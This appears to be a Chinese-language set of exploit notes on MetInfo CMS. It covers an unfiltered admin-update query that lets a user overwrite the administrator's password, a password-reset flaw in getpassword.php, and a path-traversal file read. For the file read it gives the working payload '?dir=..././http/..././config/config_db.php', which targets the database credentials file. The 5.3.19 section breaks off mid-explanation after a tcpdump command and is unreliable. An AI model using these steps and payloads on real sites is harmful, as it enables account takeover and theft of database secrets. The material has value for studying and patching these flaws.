根据https://www.seebug.org/appdir/MetInfo 进行书写。
[版本:Metlnfo 4.0]
漏洞标题:Metlnfo cms任意用户密码修改
漏洞文件:member/save.php
85-111行代码:
if($action=="editor"){ $query = "update $met_admin_table SET admin_id = '$useid', admin_name = '$realname', admin_sex = '$sex', admin_tel = '$tel', admin_modify_ip = '$m_user_ip', admin_mobile = '$mobile', admin_email = '$email', admin_qq = '$qq', admin_msn = '$msn', admin_taobao = '$taobao', admin_introduction = '$admin_introduction', admin_modify_date = '$m_now_date', companyname = '$companyname', companyaddress = '$companyaddress', companyfax = '$companyfax', companycode = '$companycode', companywebsite = '$companywebsite'"; if($pass1){ $pass1=md5($pass1); $query .=", admin_pass = '$pass1'"; } $query .=" where admin_id='$useid'"; $db->query($query);很明显的可以看出并没有进行任何的过滤然后就直接将用户的修改资料然后将其修改,这时候我们可以修改普通用户的资料然后抓包改为管理员的。
至于SSV-88229也是一样的。直接将cookie删除是通杀的。
[版本:Metlnfo 5.3.19]
漏洞标题:Metlnfo cms admin/admin/getpassword.php任意用户密码修改
漏洞页面:getpassword.php
然后使用执行:tcpdump -X port 80(先拦截80然后在发包。找的时候要仔细比较难找)
在服务器就可以看到
[版本:Metlnfo 6.0任意文件读取]
1 <?php 2 # MetInfo Enterprise Content Management System 3 # Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 4 5 defined('IN_MET') or exit('No permission'); 6 7 load::sys_class('web'); 8 9 class old_thumb extends web{ 10 11 public function doshow(){ 12 global $_M; 13 14 $dir = str_replace('../', '', $_GET['dir']); 15 16 if(strstr(str_replace($_M['url']['site'], '', $dir), 'http')){ 17 header("Content-type: image/jpeg"); 18 ob_start(); 19 readfile($dir); 20 ob_flush(); 21 flush(); 22 die; 23 }
从代码中可以看到,$dir
直接由$_GET['dir']
传递进来,并将../
置空。目标是进入到第一个 if 里面的readfile($dir);
,读取文件。看看 if 语句的条件,里面的是将$dir
中包含$_M['url']['site']
的部分置空,这里可以不用管。外面是一个strstr
函数,判断$dir
中http
字符串的首次出现位置,也就是说,要进入到这个 if 语句里面,$dir
中包含http
字符串即可。
从上面的分析可以构造出 payload,只要$dir
里包含http
字符串就可以进入到readfile
函数从而读取任意函数,然后可以使用..././
来进行目录跳转,因为../
会被置空,所以最终payload 如下
?dir=..././http/..././config/config_db.php